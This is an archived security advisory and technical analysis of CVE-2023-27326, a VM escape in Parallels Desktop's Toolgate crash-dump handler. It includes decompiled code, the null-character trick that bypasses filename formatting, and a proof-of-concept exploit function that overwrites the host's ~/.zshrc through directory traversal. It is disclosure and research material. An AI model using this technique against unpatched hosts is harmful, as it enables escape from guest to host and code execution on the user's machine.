CVE-2023-27326 _ Parallels Toolgate VM Escape
🤸‍♂️

CVE-2023-27326 _ Parallels Toolgate VM Escape

📅 [ Archival Date ]
Mar 20, 2023 6:28 PM
🏷️ [ Tags ]
MacOSParallelsVMEscape
✍️ [ Author ]
Alexandre Adamski

Directory Traversal Arbitrary File Write Vulnerability

This vulnerability allows local attackers to write arbitrary files and escalate privileges on affected installations of Parallels Desktop. An attacker must first obtain the ability to execute high-privileged code on the target guest system in order to exploit this vulnerability.

The specific flaw exists within the Toolgate component. The issue results from the lack of proper validation of a user-supplied path prior to using it in file operations. An attacker can leverage this vulnerability to write arbitrary files and execute code in the context of the current user on the host system.

The vulnerable code path can be reached even if the Isolate from Mac feature is enabled.

Vulnerability Summary

The vulnerable code is located in one of the request handlers of the Parallel Desktop Toolgate component. This request is normally used by the guest to write a crash dump file into the GuestDumps subfolder of the VM's home directory. The content of this file is fully user-controlled, but its filename is formatted according to the following pattern: <user_input_trunc>.<i>-<j>-<k>-<l>.<date>-<time>.<ext>.

The vulnerability is twofold:

  • First, because there is no checking being done on the <user_input_trunc> part of the filename, it is possible to perform a directory traversal, allowing to write a file that is located outside of the intended folder.
  • Then, because of a subtlety with Qt's QByteArray and QString classes, the formatting of the filename can be skipped altogether (but unfortunately not the truncation of the user-input), resulting in a almost fully user-controlled path.

Finally, this arbitrary file write can be used to overwrite the shell login script and execute arbitrary code as the user.

Vulnerability Details

The vulnerability is in the command handler of the CSHAShellExt tool for the request TG_REQUEST_VIRTEX_CRASH (ID 0x8323). All the commands of the CSHAShellExt tool end up in the function CSHAShellExt::handle_request_inner (that will be called from a different thread):

uint64_t CSHAShellExt::handle_request_inner(CSHAShellExt *this, request *request) {
    // ...

    uint32_t inline_size = request->InlineByteCount;
    uint32_t *inline_data = get_request_inline_data_inner(request);

    // Ensure that there's enough inline data for the header
    if (inline_size < 0x10) { /* ... */ }

    // Ensure that the version is supported (1, 0)
    if (inline_data[0] != 1) { /* ... */ }

    // Handle the request by type
    switch (request->Request) {
        // ...

        case TG_REQUEST_VIRTEX_CRASH:
            // Ensure that this is the correct operation code (?)
            if (inline_data[2] != 4) { /* ... */ }
            // Ensure that there's at least 0x200 bytes of inline data
            if (inline_size < 0x200) { /* ... */ }
            // Call the appriopriate handler
            this->virtex_req_crash(request, inline_data, &ret);
            goto FINISH_REQUEST;

        // ...
    }
    // ...
}

This function forwards the request to the appropriate handler, as the CSHAShellExt tool accepts different types of requests. In the case of the TG_REQUEST_VIRTEX_CRASH request, the corresponding handler is CSHAShellExt::virtex_req_crash:

void CSHAShellExt::virtex_req_crash(
        CSHAShellExt *this,
        request *request,
        uint32_t *inline_data,
        uint32_t *ret_p) {
    // ...

    // Compute the path where to store the guest dumps files
    this->m_CVirtualPC->m_CVmConfiguration->getVmIdentification()->getHomePath(&homepath);
get_file_dir_absolute_path(&homepath_abs, &homepath);
format_guestdumps_path(&guestdumps, &homepath_abs);
    // ...

    // Get the buffer containing the file data
    if (request->BufferCount == 0) { /* ... */ }
    buffer0_pages = map_buffer_at_idx_pages_from_guest_inner(request, 0, 0);
    if (buffer0_pages == NULL) { /* ... */ }
    // ...

    // Get the buffer containing the file name
    QString pbProcName;
    pbProcName_idx = inline_data[0x44];
    if (pbProcName_idx == 0)
        goto SKIP_PBPROCNAME;
    pbProcName_pages = map_buffer_at_idx_pages_from_guest_inner(request, pbProcName_idx, 0);
    if (pbProcName_pages == NULL) { /* ... */ }

    QByteArray pbProcName_arr;
    pbProcName_arr.resize(pbProcName_pages->RequestSize);
    read_from_buffer_pages_inner(pbProcName_pages, 0, pbProcName_arr.data(), pbProcName_pages->RequestSize);
    pbProcName = QString::fromUtf8(pbProcName_arr);
    // ...

SKIP_PBPROCNAME:
    // ...

SKIP_PBPROCPATH:
    // Handle the subrequest by type
    code = inline_data[7];
    switch (code) {
        // ...
        case 1:
            // Prepare the guest dumps directory
prepare_guestdumps_dir(&guestdumps);
            // ...

            // Format the crash dump filename
format_dump_filename(&filename, inline_data, &pbProcName);
            // ...

            // Build the final path from the directory and filename
            QString filepath(guestdumps);
            filepath.append(QDir::separator());
            filepath.append(filename);
            // ...

            // Finally, write the crash dump to disk
write_dump_to_disk(buffer0_pages, &filepath);
            // ...
            break;
        // ...
    }
    // ...
}

This handler starts by retrieving the VM's home path (~/Parallels/<vmname>.pvm by default) using CVmIdentification::getHomePath. It gets its absolute path using get_file_dir_absolute_path and appends /GuestDumps to it using format_guestdumps_path to create the final path.

void get_file_dir_absolute_path(QString& abs_path, const QString& path) {
    // ...
    abs_path = QFileInfo(path).dir().absolutePath();
    // ...
}
void format_guestdumps_path(QString& guestdumps, QString& homepath) {
    // ...
    // Append /GuestDumps to the home path
    guestdumps.append(homepath);
    guestdumps.append("/");
    guestdumps.append("GuestDumps");
    // ...
}

The request buffer #0 contains the crash dump data. The request buffer #n (where n is extracted from the inline data) contains the crash dump filename. The filename is extracted and parsed as an UTF-8 string (more details on that part later).

Finally, the handler extracts another subrequest type from the inline data. If it's 1 ("write crash dump without triggering a crash"), it'll do the following:

  • it calls prepare_guestdumps_dir that creates the guest dumps directory and removes previous crash dumps;
  • it calls format_dump_filename that appends various integers, the current date/time, and an extension to the filename;
  • it concatenates the guest dumps directory and formatted crash dump filename (enabling the directory traversal);
  • it calls write_dump_to_disk to write the crash dump data to the resulting file path.

The code of prepare_guestdumps_dir, format_dump_filename and write_dump_to_disk can be found below for reference:

void prepare_guestdumps_dir(QString &guestdumps) {
    // ...
    // Create the directory if it doesn't exist
    QDir dir(guestdumps);
    if (!dir.exists())
        dir.mkdir(".");

    // Remove all files with the specified extensions
    QStringList extensions = { "*.dmp", "*.crash", "*.dump" };
    QFileInfoList list = dir.entryInfoList(extensions, 0x10A, 1);
    for (int i = 0; i < list.size(); ++i)
        QFile::remove(list.at(i).absoluteFilePath());
    // ...
}
void format_dump_filename(QString& filename, uint32_t *inline_data, QString& pbProcName) {
    // ...
    // Append some numbers from the inline data to the filename
    filename = pbProcName.mid(0, 20);
    filename.append(".");
    filename.append(QString::number(inline_data[8], 10));
    filename.append("-");
    filename.append(QString::number(inline_data[9], 10));
    filename.append("-");
    filename.append(QString::number(inline_data[0xB], 10));
    filename.append("-");
    filename.append(QString::number(inline_data[0xA], 10));

    // ...
    // Append the current date & time to the filename
    filename.append(QChar("."));
    filename.append(QDateTime::currentDateTime().date().toString());
    filename.append(QDateTime::currentDateTime().time().toString("-hhmmss"));
    // ...

    // Append the VM type to the filename
    switch (inline_data[4]) {
        case 0:
            filename.append(".non");
            break;
        // ...
    }
    // ...

    // Append the dump type to the filename
    switch (inline_data[6]) {
        case 3:
            filename.append(".dump");
            break;
        // ...
    }
    // ...
}
void write_dump_to_disk(pages *buffer0_pages, const QString& filepath) {
    // ...
    // Open the file for writing
    QFile file(filepath);
    if (!file.open(2)) { /* ... */ }

    // Write the content of the buffer to it
    pos = 0;
    while (1) {
        len = get_remaining_bytes_from_buffer(buffer0_pages, pos, &buf);
        if (!len)
            break;
        pos += len;
        file.write(buf, len);
        // ...
    }

    // Close the file
    file.close();
    // ...
}

At first glance, it appears that the filename won't be fully controlled, as format_dump_filename will truncate it and then add multiple suffixes to it. But if we provide a pbProcName buffer where our filename is followed by at least one null byte, the call to QString::fromUtf8 will create a string that ends with at least one null unicode character (as QStrings are not null-terminated). Then, when appending other strings to it, they will go after the null unicode characters. Finally, when it will be passed to QFile::QFile, only the characters up to the first null one will be used. Thus, we have full control of the filename, except for the maximum length of 19 characters (because of the truncation to 20 characters, minus one for the null byte).

This behavior is highlighted by the following test code and its output.

#include <QDebug>
#include <QString>

int main(int argc, char *argv[]) {
    char buf[10];
    memset(buf, 0, sizeof(buf));
    strcpy(buf, "Hello");
    QString str = QString::fromUtf8(buf, sizeof(buf));
    qInfo() << str;
    str.append(" World");
    qInfo() << str;
    printf("%s\n", str.toStdString().c_str());
}
"Hello\u0000\u0000\u0000\u0000\u0000"
"Hello\u0000\u0000\u0000\u0000\u0000 World"
Hello

As can be seen above, the initial QString contains null unicode characters, one for each of the null bytes of the buffer it was created from. The second string is then appended after the null unicode characters. Finally, when the resulting QString is converted into a regular C string, the null unicode characters are converted into null bytes, and thus the output of the printf call doesn't include the second part of the string.

Exploitation

This vulnerability can be used to overwrite files in the user's home directory with arbitrary content. In our exploit, we decided to target the shell configuration file ~/.zshrc and overwrite its contents with a simple open /System/Applications/Calculator.app. This will result in the Calculator app opening each time the user opens a new terminal window/tab. Another interesting target could have been the VM's configuration file config.pvs, located in its home path, to try to enable the Shared folders feature and gain access to the whole host file system.

Basically, our exploit comes down to making the following request:

void exploit(void) {
    char inln[0x200];
    char *CR = kzalloc(0x1000, GFP_KERNEL);
    char *pbProcName = kzalloc(0x1000, GFP_KERNEL);

    memset(inln, 0, sizeof(inln));
    *(uint32_t *)(inln + 0) = 1;
    *(uint32_t *)(inln + 8) = 4;
    *(uint32_t *)(inln + 0x1c) = 1;
    *(uint32_t *)(inln + 0x110) = 1;
    strcpy(CR, "open /System/Applications/Calculator.app\n");
    strcpy(pbProcName, "../../../.zshrc");

    twobuf_req(0x8323, inln, 0x200, CR, strlen(CR), pbProcName, strlen(pbProcName)+1, 0);

    //kfree(CR);
    //kfree(pbProcName);
}

The full exploit code can be found on our GitHub repository.

Patch

This vulnerability was assigned CVE-2023-27326 and patched in the 18.1.1 (53328) security update of Parallels Desktop.

Timeline

  • Sep. 19, 2022 - Case opened on the ZDI researcher portal.
  • Sep. 20, 2022 - Case assigned on the ZDI researcher portal.
  • Oct. 10, 2022 - Case investigated on the ZDI researcher portal.
  • Nov. 03, 2022 - Case reviewed and disclosure to the vendor.
  • Dec. 13, 2022 - The vulnerability is fixed in the 18.1.1 update.
  • Mar, 7, 2023 - The advisory is published on the ZDI website.